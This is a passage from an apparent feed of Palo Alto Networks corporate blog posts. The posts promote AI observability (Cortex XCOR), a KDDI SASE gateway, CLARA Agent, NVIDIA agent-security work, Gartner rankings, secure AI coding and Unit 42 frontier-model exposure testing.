Unit 42 Managed AES helps security teams understand how AI is being used, address risk before it escalates and respond quickly when threats emerge. By combining Cortex AES context with frontline threat intelligence and expert analysis, Managed AES helps businesses adopt AI with confidence.

Register for our upcoming webinar, The Next Era of Endpoint Security, to learn how Cortex AES and Unit 42 experts help your team govern AI risks, strengthen visibility and protect the agentic endpoint.

The post Introducing Unit 42 Managed Agentic Endpoint Security appeared first on Palo Alto Networks Blog.

Introducing Cortex XCOR: AI-Driven Observability that Delivers Autonomous Response with AI SRE

I’ve been tackling the observability problem for more than a decade, since before it was coined observability. From building internal monitoring for EC2 at AWS to building the observability platform for Uber, the holy grail was always to create a solution that would automatically tell you what the issues were and help remediate them, instead of just being a tool that showed you dashboards. But standing in the way were the foundational scale and cost challenges of cloud-native architectures, which is what my co-founder Rob Skillington and I solved by creating Chronosphere. 

With the ability to effectively manage observability data at scale and as we undergo another major industry shift with AI, we’re finally at a point in time where the technology available puts the holy grail within grasp. Six months after joining Palo Alto Networks, we’re taking a major step forward with the launch of Cortex XCOR - an AI-native observability platform that delivers on that long promise of automatically root causing the issue. 

Reimagining Observability for the Modern SDLC

Getting to this point required a fundamental leap in model intelligence. When generative AI was broadly released in late 2022, LLMs were intriguing, but the reasoning capabilities were rudimentary. Although we saw limited applications for chatbots and assistants within observability, those early models could only help the end user, they couldn’t ultimately solve the issue. They assisted investigations by summarizing logs or translating queries, but weren’t transformative. That changed in late 2025 with frontier models like OpenAI’s GPT-5 and Anthropic’s Claude Sonnet and Opus. 

My own AI moment in observability came a couple of months ago when our chat functionality evolved from acting like an assistant to functioning as an autonomous expert that gave me the answer and showed me how it got there. As I pushed our agents with increasingly complex scenarios, they began reasoning through problems far beyond their initial capabilities. Much like how LLMs have replaced my need for web search, our chat is now my primary interface in our product, completely overhauling how I interact with it. 

This shift for observability is needed now more than ever as operations teams struggle to keep up with the surge in AI-driven software development, caused by the same step up in reasoning capabilities from late 2025. Research shows that 42% of developers now report that AI writes at least half their code, up from 12% last year. Rapid code releases continuously expand the surface area for production failures and drive up the burden on developers and SREs to manually identify root causes. To match this velocity, observability needs to modernize now to avoid becoming the bottleneck for product innovation.

Introducing Cortex XCOR, the Next-Generation AI-Native Observability Platform

That is precisely why we are launching XCOR. We designed it to transform observability from static dashboards and manual remediation to an AI-first experience that automates both routine and complex investigations.

At the heart is our XCOR Operator, an AI assistant embedded throughout the platform that helps operations teams match AI-coding velocity. What makes the XCOR Operator especially powerful is that it understands the user intent and serves as the conversational interface for our specialized agents that execute behind the scenes. The user of an observability platform plays many roles depending on the situation: investigating incidents, tuning alerts and dashboards, optimizing data volumes, and so on. Each of these roles are mirrored by specialized AI agents that have been optimized to complete those task-specific workflows from end to end.

The most challenging role is the AI SRE - investigating an incident to get to the root cause and identify remediation. Triggered automatically when an alert fires, the AI SRE agent autonomously reasons through underlying issues and recommends actions and mitigations in under three minutes on average, with a 75% success rate of root cause analysis in complex production environments and a further 19% of incidents where the analysis was deemed useful. By comparison, manual responses can take 20 minutes just to locate the relevant issues, gather initial context and find the right on-call engineer.

None of this automated reasoning is possible without complete end-to-end visibility and context. With the recent acquisition of Embrace, we now bring together front-end Real User Monitoring (XCOR RUM) and proactive XCOR Synthetics with our backend and infrastructure observability to deliver a true, full-stack platform. RUM captures every web and mobile session in full fidelity without sampling, tying crashes and slow loads directly to session timelines, while synthetics simulates global user traffic to proactively catch regressions before they hit production.

Underpinning this full-stack visibility is the XCOR Fabric, which we engineered to provide our agents with rich, real-time institutional, application and infrastructure context and draws from:

• Knowledge Graph: A real-time, detailed model incorporating your infrastructure, applications and business logic. Unlike many other solutions, it normalizes and incorporates custom telemetry to provide the most complete context.
• Operational Memory: Institutional learnings and historical context captured from past incident investigations.
• User Behavior: Patterns revealing which specific queries and dashboards senior engineers rely on during active resolutions.
• Human Knowledge: Context pulled directly from runbooks, documentation, and operational files.

By delivering total visibility and grounding our AI agents in this deep operational context, XCOR delivers rapid root-cause analysis and recommends steps toward remediation.

Automated Optimization Continues to Deliver the Most Cost-Effective Platform on the Market

Yet observability without cost control is like an untrained puppy, adorable until it chews through your furniture, shoes and budget. Managing observability costs remains a persistent challenge because modern cloud and AI-native architectures produce massive volumes of telemetry data. We designed Chronosphere to solve this exact problem, and it remains a major pillar of XCOR. 

We help customers optimize data by an average of 89% without sacrificing visibility, earning top industry rankings for cost efficiency and the trust of industry leaders like OpenAI, DoorDash and Compass. Now with expanded consumption-based pricing models across the XCOR platform and granular consumption budgets that automatically adjust to usage patterns over time, we eliminate the tradeoff between critical visibility and rising costs. 

The quest for observability’s holy grail is finally within reach. As engineering teams race to keep pace with the speed and scale of AI-driven development, XCOR moves operations beyond static dashboards and manual troubleshooting toward true autonomous remediation. This is observability's AI moment.

The post Observability’s AI Moment appeared first on Palo Alto Networks Blog.

We are thrilled to announce that KDDI Corporation, a long-standing NextWave partner of Palo Alto Networks and a Managed Security Service Provider (MSSP) with whom we have built a strong partnership, has launched an innovative new service, "SASE Gateway powered by Palo Alto Networks," equipped with our latest "SP Interconnect (SPI)" architecture. 

As the implementation of AI in business operations and the shift to the cloud accelerate, and enterprise data becomes more distributed than ever, cyberattacks are also leveraging AI to become more advanced and sophisticated. In such an environment, enterprise security must completely transition from traditional perimeter defense to a Zero Trust architecture that continuously verifies all traffic. Our Prisma SASE is the industry's premier platform built to defend, scale, and secure your enterprise at the speed of AI. Powered by Precision AI®, it enforces dynamic Zero Trust guardrails to proactively defend against frontier AI attacks and secures the adoption of GenAI and autonomous agents across the enterprise.

The "SP Interconnect (SPI)" adopted by KDDI this time is a next-generation architecture that directly interconnects telecommunications carriers' high-quality networks with our Prisma SASE. This integration makes it possible to directly connect traffic from closed networks (KDDI Wide Area Virtual Switch 2: WVS2)—which remain highly demanded among Japanese enterprises—to SASE, in addition to internet connections. In particular, the latest SPI achieves the flexibility and performance required to meet the strict requirements of the Japanese market, including the elimination of IPsec connection overhead . As a result, an ideal infrastructure foundation has been completed that uncompromisingly balances the communication quality of the carrier backbone and the latest security of Palo Alto Networks, allowing unified management under a single policy engine.

Executive Perspective: KDDI Leadership on Next-Gen Security

Regarding this release, Junji Hori, General Manager of Product Management at KDDI Corporation, stated:

"With the launch of Prisma SASE with SP Interconnect, the convergence of closed networks and the internet has accelerated. This service serves as the core first-phase solution in the Security-as-a-Service domain under KDDI’s 'AccelWaves Vision,' and we position it as a major milestone toward realizing 'KDDI AccelWaves Network,' an autonomous network service for enterprises scheduled for release in 2028.

By simply unifying the individual design and management of security across both closed networks and the internet, this newly announced service reduces the operational burden on security and networking while contributing to rapid response in the event of an incident. This is an advanced initiative made possible by combining the long-standing partnership and expertise cultivated between both companies.

Equipped with AI security capabilities, we are confident this service will deliver new value not only to existing WVS2 customers, but also to customers aiming to centralize security operations and optimize their networks.

KDDI will continue to further strengthen its partnership with Palo Alto Networks and strive to deliver innovative services that accelerate our customers' AI implementation." 

Key Architectural Advantages of SP Interconnect 

The SP Interconnect that underpins the "SASE Gateway" offers the following outstanding benefits to customers: 

• Direct Connection to KDDI's Closed Network and Ensuring Reliability: Achieves a low-latency and stable communication environment through the high SLA and cloud scale of Prisma SASE, and closed connection with KDDI's high-quality, wide-band backbone.
• Realization of Comprehensive ZTNA: Consistently applies best-in-class Zero Trust security to access SaaS and private applications, regardless of the line type (closed network, Internet, etc.).
• Securing the AI-Driven Enterprise: By routing high-speed closed network traffic through Prisma SASE, organizations can safely adopt GenAI and agentic AI tools. SP Interconnect enables  this traffic to benefit from machine-speed inline inspection, stopping automated, frontier AI attacks (like machine-scale vulnerability scanning and prompt injections) while enforcing complete visibility, identity control, and advanced data loss prevention (DLP).
• Proactive IT Operations Powered by AI: Accelerate time-to-value by transforming reactive IT support into proactive, self-healing operations. It leverages AIOps and ADEM (Autonomous Digital Experience Management) to comprehensively visualize and manage transport networks across branches, clouds, and data centers, predicting and resolving network issues before users even notice them.

Furthermore, to realize a platform-based approach to security, KDDI offers the "SASE Gateway" service alongside the extensibility to introduce advanced security solutions such as our "Cortex XDR" and "Prisma Browser" (a secure enterprise browser). Additionally, to provide end-to-end support for customers' security operations and management, this offering can be combined with SOC and IR (Incident Response) services provided by LAC Co., Ltd. 

Palo Alto Networks is confident that this "SASE Gateway" will become an essential business foundation supporting secure DX (Digital Transformation) for many Japanese enterprises advancing AI adoption, hybrid work and cloud migration. Through our strong alliance with KDDI, we look forward to further deepening our technical collaboration and greatly expect them to powerfully lead the expansion of sales and adoption among enterprise companies as a strong core solution for KDDI's "AccelWaves Vision".

KDDI’s SASE Gateway with Palo Alto Networks is now available as part of the companies’ joint integrated security portfolio.

Modernize Your Closed Network Security Today

Ready to simplify your hybrid network management and protect your organization against AI-driven threats? Contact us to schedule a custom architecture review or explore how KDDI SASE Gateway can fit into your cloud strategy.

The post “SASE Gateway” provided by KDDI : How SP Interconnect Simplifies Closed Network Zero Trust appeared first on Palo Alto Networks Blog.

Most cloud and security teams struggle with two fundamental questions: What is actually running across our clouds, and what is exposed? As workloads sprawl and AI models deploy faster than ever, critical posture data gets locked inside specialized consoles. Gaps go unseen until they are exploited, and shadow AI leaves teams flying blind.

To solve this visibility challenge, Palo Alto Networks is introducing CLARA Agent.

By connecting Palo Alto Networks Strata Cloud Manager (SCM) directly to Google Cloud Gemini Enterprise, CLARA Agent turns complex cloud security data into clear, conversational insights. SCM powers this integration by consolidating security across environments, automating AI-driven operations to prevent misconfigurations, and continuously enforcing zero-trust policies with real-time threat prevention. Instead of digging through endless dashboards or running manual queries, teams can simply ask plain-language questions directly inside Gemini Enterprise to get immediate, evidence-backed answers.

CLARA Agent, which will be available on Google Cloud Marketplace, provides instant infrastructure discovery, automatically surfaces production AI/ML models alongside unsanctioned shadow AI, and ranks critical vulnerabilities so teams know exactly what is exposed. By bringing security intelligence directly into everyday workplace tools, it democratizes visibility for cloud, platform, and AI teams alike.

Bringing Palo Alto Networks CLARA Agent to Google Cloud Marketplace will help customers quickly deploy, manage, and grow the AI agent on Google Cloud’s trusted, global infrastructure. Palo Alto Networks can now securely scale and support organizations using its CLARA Agent to enable their security teams to turn cloud security data into conversational insights.

Vineet Bhan, Director, Security and Identity Partnerships, Google Cloud

Built for Immediate Value and Enterprise Security

CLARA Agent supercharges your existing investment in Strata Cloud Manager by bringing its rich security telemetry directly into everyday workflows. Greenfield deployments will benefit from additional visibility into their AI and non-AI workloads.

Designed to complement SCM’s robust security architecture, CLARA Agent leverages the open Agent-to-Agent (A2A) protocol and Model Context Protocol (MCP) servers to deliver fast, secure, and context-aware responses without requiring additional infrastructure setup. This integration creates a more seamless experience for security teams, empowering them to audit cloud posture, prioritize zero-day vulnerabilities, and secure rapid AI adoption faster and more intuitively than ever before. 

See CLARA Agent Live at the Security Innovations Forum 2026

Palo Alto Networks is proud to be a sponsor of the Security Innovations Forum 2026 on September 29 at the Google Event Center MP7 in Sunnyvale, CA. Join Rich Campagna, Senior VP of Products at Palo Alto Networks, and Joshua Haslett, Strategic Technology Partner  Manager at Google, on the executive panel, "Co-Innovating the Future of Cybersecurity: A C-Suite Perspective" (10:50 AM – 11:35 AM). They will discuss how agentic platforms are revolutionizing threat response and how organizations can deploy advanced AI agents at scale.

You can also visit the Palo Alto Networks kiosk during the forum to see a live demonstration of CLARA Agent, connect with our experts, and discover how we are co-innovating with Google Cloud to help safeguard agentic AI environments.

Get Started

Visit our booth at Google Cloud’s  Security Innovations Forum 2026, or contact your Palo Alto Networks representative to schedule a demo.

 

---

Forward-Looking Statements (unreleased feature only)

This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact, or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. Any unreleased services or features (and any services or features not generally available to customers) referenced in this or other press releases or public statements are not currently available (or are not yet generally available to customers) and may not be delivered when expected or at all. Customers who purchase Palo Alto Networks applications should make their purchase decisions based on services and features currently generally available.

The post Introducing CLARA Agent: Instant Cloud & AI Risk Insights Available on Google Cloud Gemini Enterprise appeared first on Palo Alto Networks Blog.

AI agents are crossing an important threshold.

They are moving from assistants that respond to us to autonomous systems that reason, plan, and act on our behalf. They can write and execute code, access enterprise data, call tools and APIs, and keep working toward a goal with limited human intervention.

That changes the security model.

An autonomous agent is designed to find a way to accomplish its objective. If one path is blocked, it reasons about another. That is what makes agents powerful, and it is why models’ built-in prompt guardrails alone are not enough.

The harness can guide what an agent should do. Security must control what an agent can do. That requires security authority outside the agent itself.

Palo Alto Networks and NVIDIA Team Up to Secure Agentic AI

NVIDIA provides the accelerated computing platform, secure runtime foundation, and reference system design for agentic AI. Palo Alto Networks brings the AI security capabilities enterprises need to govern interactions, protect workloads, and control identity and access.

Together, we are extending security across three areas: AI governance with Prisma AIRS AI Gateway, runtime protection with Prisma AIRS AI Runtime Security, and Agent Identity Security powered by IDIRA.

This is the focus of our expanded collaboration with NVIDIA on the NVIDIA Open Agent Safety Platform reference design.

a) Prisma AIRS AI Gateway on NVIDIA Vera CPU

Our forward-looking architecture includes Prisma AIRS AI Gateway software running on NVIDIA Vera CPU systems, bringing AI governance and enforcement closer to infrastructure designed for agentic workloads.

The AI Gateway is the real-time enforcement point for AI Governance, Runtime, and Identity security. It continuously verifies agent identities, enforces strict least-privilege access, redacts sensitive data before it is exposed, and deeply inspects every interaction—stopping unauthorized actions before they ever reach critical host systems or cloud endpoints.

• Operationalize AI agents: Connect applications and agents to thousands of models and tools through one control point, with the reliability and flexibility to scale AI across the enterprise.
• Track usage and control costs: Monitor every AI interaction across your company to see exactly what teams are doing, track your spending, and restrict access to approved tools only.
• Enforce agent security across the enterprise: Block sensitive data exposure and malicious commands in real time, and verify agent identity before actions are taken.

b) Announcing Prisma AIRS AI Runtime Security on NVIDIA BlueField

The Palo Alto Networks AI Runtime firewall running natively on NVIDIA BlueField DPUs extends Zero Trust protection to the front-end network traffic of the AI factory and to the AI Edge, creating a tamper-proof boundary immune to application-layer attacks. Drawing on the NVIDIA Sentry reference design, Prisma AIRS AI Runtime Security accelerated on NVIDIA BlueField delivers: 

• Hardware-Isolated Boundaries: Tamper-proof boundary, ensuring a compromised model or a rogue agent can never bypass runtime controls.
• Agentless Behavioral Introspection: Monitor agent execution paths, memory structures, and tool calls with NVIDIA DOCA Argus with zero CPU overhead, and feed real-time telemetry directly into Cortex XSIAM for automated observation, analysis, and remediation.
• Zero Trust Governance: Strict least-privilege access is enforced across the network and external APIs by default, delivering a verifiable audit trail for every allow and block action.

c) IDIRA Agent Identity Security

As agents gain greater autonomy, identity becomes fundamental to controlling what they can access and what actions they can take.

Looking ahead, we plan to integrate NVIDIA OpenShell with upcoming Agent Identity Security capabilities from Idira, including identity and secrets management for the OpenShell sandbox and agent identity broker service on NVIDIA BlueField. This will help organizations apply identity-based controls and least-privilege access to agents without relying on persistent human credentials.

The Path Ahead: Security at Scale for Enterprise Agents

As agents become more autonomous, governance must extend to identity. Prisma AIRS AI Gateway will also serve as an enforcement point for Agent Identity Security powered by IDIRA. We are also expanding to include Agent Identity Broker support directly on NVIDIA BlueField, providing identity verification and access governance independently of the host environment.

Together, these capabilities are designed to prevent unauthorized execution, reduce standing access, and stop privilege escalation as agents interact with enterprise systems.

As agents gain more autonomy, enterprises need consistent control over how they connect and what they can access.

Our work with NVIDIA brings those controls closer to where agentic workloads run, while Palo Alto Networks provides the security policy, governance, and enforcement enterprises need to manage them. 

To learn more about our GA of AI Runtime Security on the BlueField DPU, read our blog — Palo Alto Networks Announces Support for NVIDIA Enterprise AI Factory.

The next phase of AI will be defined not only by what agents can do, but by whether enterprises can trust them to operate safely at scale.

Palo Alto Networks was named a Market Shaper in AI application security. Read the report: Gartner® Emerging Market Quadrant for AI Application Security – Established Vendors, September 2026.

The post Securing AI Agents at Scale with NVIDIA appeared first on Palo Alto Networks Blog.

Securing Every Environment at the Speed of Frontier AI

Recognized as a Leader for the second consecutive time and positioned furthest for Completeness of Vision. Palo Alto Networks is advancing hybrid mesh firewall with one integrated platform for preemptive protection, agentic operations, AI runtime security and quantum-safe security across the enterprise.

 

We are proud to share that Palo Alto Networks has been named a Leader in the 2026 Gartner® Magic Quadrant for Hybrid Mesh Firewall for the second consecutive time, and positioned furthest for Completeness of Vision.

We believe this recognition reflects the strength of our approach to network security: one natively integrated platform that delivers consistent protection, policy and operations across every environment.

It also comes at a pivotal moment for cybersecurity. Frontier AI is collapsing the time between vulnerability discovery and exploitation. AI applications and agents are creating new infrastructure and data risks. At the same time, the cryptographic reset is forcing enterprises to rethink how they establish and maintain digital trust.

Fragmented firewall architectures and manual security operations were never designed for this speed, scale or complexity, and can no longer keep pace.

One Platform Across Every Environment

Hybrid environments have traditionally required organizations to deploy and manage different security products across data centers, clouds, branches, campuses and remote users. The result is often fragmented policy, inconsistent protection and operational complexity.

Palo Alto Networks transforms hybrid mesh firewall from a collection of enforcement products into a unified, intelligent security platform, powered by Precision AI.

The  Strata Network Security Platform is our Hybrid Mesh Firewall, spanning hardware  (PA-Series), virtual (VM-Series), cloud-native (Cloud NGFW) and firewall-as-a-service (SASE) deployments with consistent policy, shared intelligence and threat prevention across environments. 

Strata Cloud Manager provides unified policy, visibility and AI-driven operations across these enforcement points. Beyond traditional firewall environments, the platform extends protection to the browser with Prisma Browser and to AI applications, models and agents with Prisma AIRS®.

Cloud-delivered security services, including Advanced Threat Prevention, Advanced WildFire, Advanced URL Filtering, and Advanced DNS Security deliver consistent, inline prevention across environments. Intelligence discovered in one part of the platform can strengthen protection everywhere, turning every enforcement point into a real-time prevention layer.

If you’re new to the concept of HMF, explore our primer on What Is a Hybrid Mesh Firewall and Why It Matters.

The Hybrid Mesh Firewall Market Is Evolving

Gartner’s 2026 Hybrid Mesh Firewall research describes a market moving toward more automated, intelligence-driven security platforms as organizations manage increasingly complex hybrid environments. 

The report identifies several trends shaping the evolution of hybrid mesh firewall, including the growing adoption of cloud-based management, AI-driven threat prevention, automation through LLM-based assistants, post-quantum cryptography and security capabilities for AI applications and workloads.

As these requirements evolve, organizations need a network security architecture that can deliver consistent protection and operations across hybrid environments while preparing for emerging AI and quantum-era risks.

Advancing Hybrid Mesh Firewall for the Frontier AI Era

Against this backdrop, Palo Alto Networks continues to advance the Strata Network Security Platform for the Frontier AI era.

Preempt attacks earlier: Advanced Threat Prevention Plus uses Frontier AI-powered vulnerability discovery and Frontier Virtual Patching to deliver preemptive protections, including before vulnerabilities are publicly disclosed or official patches are available.

Disrupt attacker infrastructure: Advanced IP Defense continuously identifies, validates and blocks attacker-controlled infrastructure in real time - even when adversaries use direct-to-IP communications, proprietary encryption, residential proxies or trusted cloud infrastructure to evade traditional security signals.

Operate at machine speed: Six purpose-built Network Security Agents in Strata Cloud Manager assist teams with deployment, troubleshooting, configuration management, posture optimization, threat investigation and data protection, with built-in guardrails and human oversight.

Secure AI and modernize digital trust: Prisma AIRS helps secure AI applications, models and agents across the AI lifecycle, while Quantum-Safe Security and Next-Generation Trust Security help organizations identify cryptographic risk and modernize digital trust. Read more about Palo Alto Networks’ approach to securing AI.

Together, these capabilities help organizations reduce exposure before attacks succeed, operate at machine speed, secure AI infrastructure and modernize digital trust for the post-quantum era.

Proven Security, Performance and Scale

A unified platform must deliver not only breadth, but also effective protection and reliable performance under demanding conditions.

Independent SecureIQLab testing demonstrated 99% security efficacy, with Palo Alto Networks scoring approximately 20 points higher than the next-best tested vendor. Miercom validation demonstrated up to 2–8 times higher AI traffic throughput, along with strong TLS inspection and stable performance under sustained load.

More than 75,000 organizations around the world rely on Palo Alto Networks to consolidate security, improve visibility and reduce risk across their hybrid environments.

This global scale provides intelligence that continuously strengthens the platform. Every attempted attack expands what the platform can learn, and every new detection can become protection for all customers.

Defining the Future of Hybrid Mesh Firewall

We believe being named a Leader for the second consecutive time reinforces our conviction in an integrated platform that delivers consistent prevention and operations everywhere an enterprise operates.

But we believe industry leadership is also about preparing customers for what comes next.

As Frontier AI accelerates attacks, autonomous systems reshape security operations and quantum risk changes the foundations of digital trust, enterprises need more than a collection of firewalls. They need an intelligent security platform that can transform shared intelligence into prevention across every environment.

Palo Alto Networks is building that future, helping organizations reduce exposure before attacks succeed, operate at machine speed, secure AI infrastructure and modernize digital trust for the post-quantum era.

Download the 2026 Gartner® Magic Quadrant for Hybrid Mesh Firewall to learn more about why Palo Alto Networks was named a Leader.

 

---

Gartner Disclaimer

Gartner, Magic Quadrant for Hybrid Mesh Firewall, 7 September 2026

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Garner document is available upon request from Palo Alto Networks.

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

Gartner and Magic Quadrant are a trademark of Gartner, Inc., and/or its affiliates.

The post Palo Alto Networks Named a Leader in the 2026 Gartner® Magic Quadrant™ for Hybrid Mesh Firewall appeared first on Palo Alto Networks Blog.

Enterprises are seeing an unprecedented surge in AI coding adoption with spend on AI coding tools projected to top $13 billion in this calendar year¹, compounding at more than 60% annually. For engineering teams, the benefits are unmistakable: accelerated output, supercharged productivity, and operational overheads dramatically reduced.

But these AI solutions are no longer just offering helpful coding suggestions. Today’s coding agents are able to assume a user’s identity, modify file systems, execute arbitrary terminal commands, and connect directly into core business systems.

Traditional cybersecurity architectures were engineered around three foundational assumptions: known software, human users, and human-speed actions. AI coding fundamentally dismantles all three.

The Breakdown of Traditional Controls for Secure Software Development.

As AI-assisted coding accelerates, traditional security controls are quickly falling behind, creating four volatile vectors of risk: 

• Shadow AI at Enterprise Scale: Coding agents, IDE (Integrated Developer Environment) extensions, skills, and MCP (Model Context Protocol) servers permeate the enterprise before security teams even know they exist. In 2026, 68% of organizations reported lacking visibility into the AI tools their developers were actually using, and 57% of employees reported using AI coding tools without formal IT approval². 
• Risky Behavior by Agents: AI coding agents have the capability to  change files, access company resources, and execute system commands in milliseconds. In one documented³ AI-enabled intrusion chain, an agent executed 17,600 actions in 4.5 days creating a timeline no human-enabled SOC can manually govern. 
• Blurred Identity and Attribution: Machines now outnumber human identities 109 to 1⁴. And, because agents frequently operate using human credentials, distinguishing developer action from autonomous agent action becomes nearly impossible. When anomalies occur, this obscured attribution further complicates root causing the issue. 
• Uncontrolled Connections, Data, and Cost: Agents connecting to external models, MCP servers, and third-party tools outside the company, presents another distinct but related issue. All these connections also quietly increase consumption of AI resources, and separately exacerbate the risk of sensitive IP leaks. A recent survey found⁵ that 93% of enterprises exceeded their AI budgets with 20-30% of AI spend being entirely unaccounted for.  

Resetting the Controls for AI-Native Development.

Securing AI coding inside an enterprise requires a proactive, platform-centric approach:

• Discover shadow AI and what it’s using: Gain complete visibility across every model, agents, plugin, skill, and MCP to neutralize risky or unsanctioned components before they perform harmful actions.
• Assess supply chain risks: Scan skills, models, and MCP to make sure they are trusted.
• Protect identity and prompt: Inspect prompts, model outputs, and autonomous interactions in real time. Provision verified, task-scoped identities for agents and eliminate standing privileges.
• Govern data, actions, and cost: Enforce zero-trust boundaries over external model connections, governing access to file systems, sensitive corporate data, and establishing hard policies over AI resource consumption and spend.

The Platformization Advantage for Superior Governance.

Today, endpoint visibility, LLM traffic, token consumption, agent identity and actions are fragmented across disparate solutions introducing visibility gaps and creating new risks for enterprises. Palo Alto Networks delivers AI coding security natively with an integrated platform to secure what gets installed, what runs, what data leaves the enterprise, and which identity is used.

AI coding tools will continue to evolve, as they should. But your builders don’t have to choose between speed and security. The goal is not to slow down developer momentum, but to provide the security controls that serve as scaffolding for your teams to innovate faster and with complete confidence.

Secure your AI. We’ve got next.

Visit our Secure AI Coding page or download our solution brief to learn more.

 

---

 

1 - IdeaPlan
2 - The AI Velocity Gap
3 - Hugging Face
4 - Idira 2026 Identity Security Landscape - Chapter One
5 - McKinsey; Oabo

The post Secure AI Coding: Governing every agent, artifact, and identity appeared first on Palo Alto Networks Blog.

Unit 42 is putting the latest frontier cyber models to work across customer environments to find, validate and help remediate the attack paths that matter most.

In May, we introduced Frontier AI Defense with a warning: the window to get ahead of AI-enabled attacks was shorter than most people realized. Since then, we have briefed more than 1,000 security teams around the world and introduced our Frontier AI Defense service to hundreds of customers.

Today, through our partnership with OpenAI, we are expanding Unit 42 Frontier AI Exposure Analysis to put advanced frontier cyber models directly to work in customer environments. Under Unit 42 direction, these models can find exposures, test whether they are exploitable, validate attack paths and help customers prioritize what to fix first.

Our early work shows why this approach matters: 36% of the exposures we identified map to no known CVE, often because they involve multiple gaps that have to be discovered, chained and tested together.

Bringing the Latest Frontier Cyber Capabilities to Defenders

Palo Alto Networks has been among a limited group of organizations with early access to advanced cyber capabilities from the leading frontier AI labs. Through our partnership with OpenAI, Unit 42 can now bring its latest advanced cyber capabilities, including GPT-5.6 Daybreak, to security testing and validation for our customers. Until now, GPT-5.6 Daybreak has not been available for commercial use.

Frontier models have helped inform the work of our experts. Now they can increasingly perform complex offensive security tasks directly, at machine speed and under Unit 42 direction. That allows us to go deeper than traditional vulnerability discovery by testing exploitability, reasoning across multiple weaknesses and determining how an attacker could use them to achieve an objective.

There is no single best model for every cyber task. Our research has shown that different models have different strengths and find vulnerabilities others miss. A multi-model harness routes work to the model best suited for the task, improving efficacy and coverage while managing the cost of frontier AI at scale. As stronger models emerge, we can incorporate them without rebuilding the offering around a single model or provider.

Unit 42 experts remain central to the process. We combine frontier models with our offensive security expertise, Palo Alto Networks telemetry and Unit 42 Threat Intelligence to validate findings, connect exposures into attack paths and understand what an attacker could ultimately achieve.

Built to Find What Attackers Can Exploit

The expanded service brings five capabilities together:

• Leading cyber models: Apply the latest advanced cyber models to improve exposure discovery, testing and validation.
• Multi-model harness: Use the right model for the right task to improve efficacy, expand coverage and optimize cost.
• Exposure discovery: Find vulnerabilities, misconfigurations, leaked credentials, unmanaged attack surface and other posture gaps across applications and network assets.
• Advanced adversary simulation: Actively test exploitability and validate end-to-end attack paths to understand how an attacker could compromise the environment.
• Custom remediation plan: Prioritize the fixes that break the most important attack paths and feed those findings into existing IT, development and security workflows.

Most security teams already have more findings than they can act on. The harder problem is knowing which ones create a real path to compromise. Attackers look across applications, infrastructure, identity and cloud for weaknesses they can combine to achieve an objective. Frontier AI Exposure Analysis applies that same adversarial perspective, helping defenders understand which paths matter and what to fix first.

The Asymmetry Runs Both Ways Now

For the past several months, frontier AI has been a story about what is coming for defenders: vulnerability discovery at scale, exploit chaining that sees full-stack logic no scanner catches, and attack cycles compressed to seconds from initial access to exfiltration.

All of that is still true. Our answer has been to put everything we learn testing these frontier models into the hands of defenders. Today, that gets more direct: not just what frontier models have taught us, but the models themselves, working in your environment for your defenders before those same capabilities are working for the attacker.

The window is still closing. We intend to spend it building on the side of the defenders.

Visit Palo Alto Networks Frontier AI Defense to learn more.

The post Putting OpenAI Cyber Models to Work for Defenders appeared first on Palo Alto Networks Blog.

As organizations race to deploy agentic AI, legacy network security solutions are ill-equipped to keep up, forcing productivity tradeoffs while exposing coverage gaps. At the same time, Frontier AI is proving capable of discovering vulnerabilities and creating exploits in real-time. Navigating this shift requires more than incremental feature enhancements; it requires a bold, market-defining vision backed by relentless customer focused execution. 

Today, we’re proud to announce that Gartner® has once again recognized Palo Alto Networks as a Leader in the 2026 Magic Quadrant™ reports for both Security Service Edge and SASE Platforms. This marks the fourth consecutive year that Palo Alto Networks has been recognized, making us the only security vendor to be recognized as a Leader in both reports for four years in a row.

In this year’s Magic Quadrant for SSE, Palo Alto Networks was placed highest in ability to execute and furthest in completeness of vision for Prisma Access.

Every day we focus relentlessly on understanding the needs of our customers and channeling that back into products and services that create real value for them. Our product strategy centers on where our customers' environments and security needs are heading, not just where it sits today.

Vision Matters More than Ever in the AI Era

The AI landscape is changing daily - in this new reality, we strive to be the visionary leaders to serve our customers. GenAI and Agentic AI are exposing enterprises to novel categories of risks like prompt injection, over-privileged agents, and poisoned models. At the same time, Frontier AI is accelerating vulnerability discovery and attack speed resulting in attack timelines being compressed by over 95%.

Gartner projects that by the end of this year, 40% of enterprise applications will feature embedded agents, up from less than 5% today. And by 2028, 60% of brands will use agentic AI to facilitate streamlined one-to-one interactions. Operating a business in this new reality requires security architecture engineered to anticipate threats that haven't yet emerged. Success cannot be achieved by retrofitting legacy products with support for AI infrastructure. It demands a unified future-ready foundation that natively secures users, applications, sensitive data, and non-human identities across every touchpoint. The platform enterprises use today determines whether they'll be prepared for tomorrow's threats.

As the cybersecurity landscape undergoes its biggest shift in decades, to us, the Gartner recognition as a Leader on vision and execution across both reports means more than ever before. In our opinion, it not only validates Palo Alto Network’s ability to serve the world’s largest enterprises but also celebrates our strategic product capabilities as shaping the future of cybersecurity through industry leading innovation such as securing AI traffic flows and agents that simplify manageability of SASE operations.

Vision Backed by Relentless Execution

We believe being placed highest in execution and furthest in vision is only as valuable as the ability to execute on it, and Palo Alto Networks has a proven record of creating value for our customers. Our recent milestone of crossing the $1.6 billion ARR mark while growing 40% year over year for Prisma SASE reflects the trust customers have placed in us. Over 6,800 organizations, including over one third of the fortune 500, trust us because we consistently turn market-defining innovation into enterprise-grade reality. Our execution leadership is built on a strong foundation:

• Security powered by Precision AI: Our platform delivers universal zero trust through distributed and flexible enforcement points. We inspect traffic as close to the user as possible to ensure that whether your teams are at the corporate HQ, a remote branch, a coffee shop or working from home, they receive the same protection at their precise point of interaction.
• Unmatched performance and resilience: By leveraging global hyperscalers, we provide the massive scale and reach that modern organizations require. For specialized, high-performance and sensitive needs, SASE Private Location brings that same cloud-delivered resilience directly to private campuses.
